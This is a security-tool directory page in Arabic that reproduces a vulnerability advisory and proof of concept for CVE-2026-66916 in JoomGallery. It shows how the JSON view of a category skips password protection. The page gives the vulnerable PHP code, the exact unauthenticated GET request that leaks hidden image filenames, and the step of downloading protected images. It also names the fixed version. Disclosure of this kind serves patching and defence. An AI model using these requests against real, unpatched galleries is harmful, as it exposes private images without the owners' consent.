Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-66916 — تجاوز الفئات المحمية بكلمة مرور عبر تنسيق JSON في JoomGallery | Kitploit
أدوات/GitHubGitHub/toanln-cov/cve-2026-66916
تحليل الثغرات الأمنيةاستغلال تطبيقات الويبأمن الويب
GitHubtoanln-cov/cve-2026-66916

CVE-2026-66916

تجاوز الفئات المحمية بكلمة مرور عبر تنسيق JSON في JoomGallery

عرض المستودع
منذ يوم واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Password-Protected Category Bypass via JSON Format in JoomGallery

JoomGallery ≤ 4.3.0-stable — مهاجم غير مصادق يتجاوز بوابة كلمة المرور لتنزيل الصور المحمية

CVE CVSS v4.0 CWE-284 Affected Researcher


الملخص

يوجد تجاوز للتحكم في الوصول غير المصادق عليه في عرض JSON لفئات JoomGallery. عندما تكون فئة المعرض محمية بكلمة مرور، يفرض عرض HTML بوابة كلمة المرور بشكل صحيح — لكن عرض JSON (format=json) يتخطى هذا الفحص تمامًا.

يمكن لمهاجم بعيد بدون أي بيانات اعتماد استرداد عنوان الفئة ووصفها وأسماء الملفات العشوائية لجميع الصور المحمية، ثم تنزيل تلك الصور مباشرةً. يتم تجاوز ميزة الحماية بكلمة المرور عبر طلب HTTP واحد.

يقتصر التجاوز على الفئات التي يكون مستوى وصول ACL في Joomla مضبوطًا على عام (Public) (access=1). الفئات المقيدة بالوصول المسجّل (Registered) أو الخاص (Special) لا تزال محظورة على مستوى ACL في JsonView.php:69.


الإصدارات المتأثرة

تنزيل الأداة
المكوّنالقابليةتم الاختبار علىالإصلاح
JoomGallery4.3.0-stableJoomla 5.4.7 + JoomGallery 4.3.0-stable (PHP 8.x / Apache)4.4.0

تفاصيل الثغرة

النوع: تحكم غير صحيح في الوصول (CWE-284) المصادقة المطلوبة: لا شيء — غير مصادق، طلب HTTP واحد الملف: site/com_joomgallery/src/View/Category/JsonView.php، الأسطر 76–96

السبب الجذري

تنفذ JoomGallery الحماية بكلمة مرور للفئات عبر علامة pw_protected. هذا الفحص موجود في HtmlView.php لكنه غائب تمامًا في JsonView.php:

HTMLVIEW.PHP — صحيح (الحارس موجود)

root@kitploit:~
// content is withheld and a password form is rendered
if (!$this->item->pw_protected) {
    $this->item->images->items   = $model->getImages();
    $this->item->children->items = $model->getChildren();
}

JSONVIEW.PHP — ثغرة (لا يوجد حارس)

root@kitploit:~
// JsonView.php:76-96 — no pw_protected check; content returned unconditionally
$this->item->parent          = $model->getParent();
$this->item->children->items = $model->getChildren();  // always executes
$this->item->images->items   = $model->getImages();    // always executes
$this->output($this->item);  // serializes full response to JSON including filenames

معامل format=json في Joomla يوجّه نفس الرابط إلى فئة View منفصلة. يجب على كل View فرض فحوصات الوصول بشكل مستقل — لا يقوم الإطار بنشرها تلقائيًا. أضاف المطوّر حارس pw_protected إلى HtmlView لكنه أهمله في JsonView.

تعتمد حماية كلمة المرور في JoomGallery على إبقاء أسماء ملفات الصور سرية — تُخزَّن الملفات كأصول ثابتة تحت /images/joomgallery/originals/ ويقدّمها Apache مباشرة دون أي مصادقة من جهة الخادم. أسماء الملفات عشوائية (مثل secret-image-1_20260803_1951053711.jpg) ولا تُكشف إلا بعد اجتياز فحص كلمة المرور عبر طبقة PHP/Joomla. يكسر تجاوز JSON هذا النموذج بكشف أسماء الملفات لطالبي الوصول غير المصادقين، مكتملًا سلسلة الهجوم حتى الاسترجاع الكامل للصور.


إثبات المفهوم

إعداد المختبر:

  • الفئة: Secret Gallery (id=3، pw_protected=true، access=Public)
  • تحتوي على: Secret Image 1 (secret-image-1_20260803_1951053711.jpg)
  • لا تُستخدم أي ملفات تعريف ارتباط أو جلسات أو بيانات اعتماد في أي خطوة أدناه

1. عرض HTML يفرض بوابة كلمة المرور

root@kitploit:~
GET /index.php/component/joomgallery/category/3

النتيجة: تم عرض نموذج كلمة المرور. لا يظهر أي محتوى للفئة.

الخطوة 1 — بوابة كلمة مرور HTML


2. الوصول المباشر للصورة محظور أيضًا عبر HTML

root@kitploit:~
GET /index.php/gallery/categories/3-secret-gallery

النتيجة: الوصول المباشر للصورة محظور داخل مسار Alias (/3-secret-gallery)

الخطوة 2 — الوصول إلى الصورة محظور


3. تنسيق JSON يتجاوز فحص كلمة المرور — تسريب اسم الملف الحقيقي

root@kitploit:~
GET /index.php?option=com_joomgallery&view=category&format=json&id=3

الاستجابة (HTTP 200، بدون مصادقة):

root@kitploit:~
{
  "success": true,
  "data": {
    "title": "Secret Gallery",
    "description": "<p>SENSITIVE: Internal photos — restricted access</p>",
    "pw_protected": true,
    "access": 1,
    "images": {
      "items": [
        {
          "title": "Secret Image 1",
          "filename": "secret-image-1_20260803_1951053711.jpg",
          "cattitle": "Secret Gallery",
          "access": "Public"
        }
      ]
    }
  }
}

يؤكد pw_protected: true أن كلمة المرور مضبوطة. على الرغم من ذلك، يتم إرجاع الاستجابة الكاملة بما في ذلك اسم الملف العشوائي إلى طالب غير مصادق.

الخطوة 3 — تجاوز JSON يسرب اسم الملف


4. تنزيل الصورة المحمية باستخدام اسم الملف المسرّب

باستخدام اسم الملف الذي تم الحصول عليه في الخطوة 3

النتيجة: HTTP 200 — يتم إرجاع ملف الصورة مباشرة بواسطة Apache. لا حاجة إلى مصادقة.

الخطوة 4 — تم تنزيل الصورة المحمية


الأثر

  1. قراءة بيانات الفئة المحمية الوصفية — العنوان والوصف ومعلومات الإنشاء والتسلسل الهرمي للفئة الأصلية، كلها تُرجع بدون مصادقة
  2. تعداد جميع أسماء ملفات الصور داخل أي فئة عامة محمية بكلمة مرور عبر طلب JSON واحد
  3. تنزيل جميع الصور المحمية بالدقة الأصلية الكاملة عبر الوصول المباشر للملفات الثابتة باستخدام أسماء الملفات الحقيقية المسرّبة

أي فئة في المعرض قام المسؤول بحمايتها بكلمة مرور تكون مخترقة بالكامل. لا يحتاج المهاجم سوى إلى معرف الفئة الرقمي، وهو تسلسلي ويمكن تعداده بسهولة.


المراجع

  • CVE: https://www.cve.org/CVERecord?id=CVE-2026-66916
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-66916
  • استشارة GitHub: https://github.com/advisories/GHSA-g79m-pfhw-2c5m
  • مستودع المورّد: https://github.com/JoomGallery/JoomGallery
  • ملاحظة الإصدار الجديد من المورّد: https://www.joomgalleryfriends.net/en/blog/joomgallery-4-en/joomgallery-4-4-0.html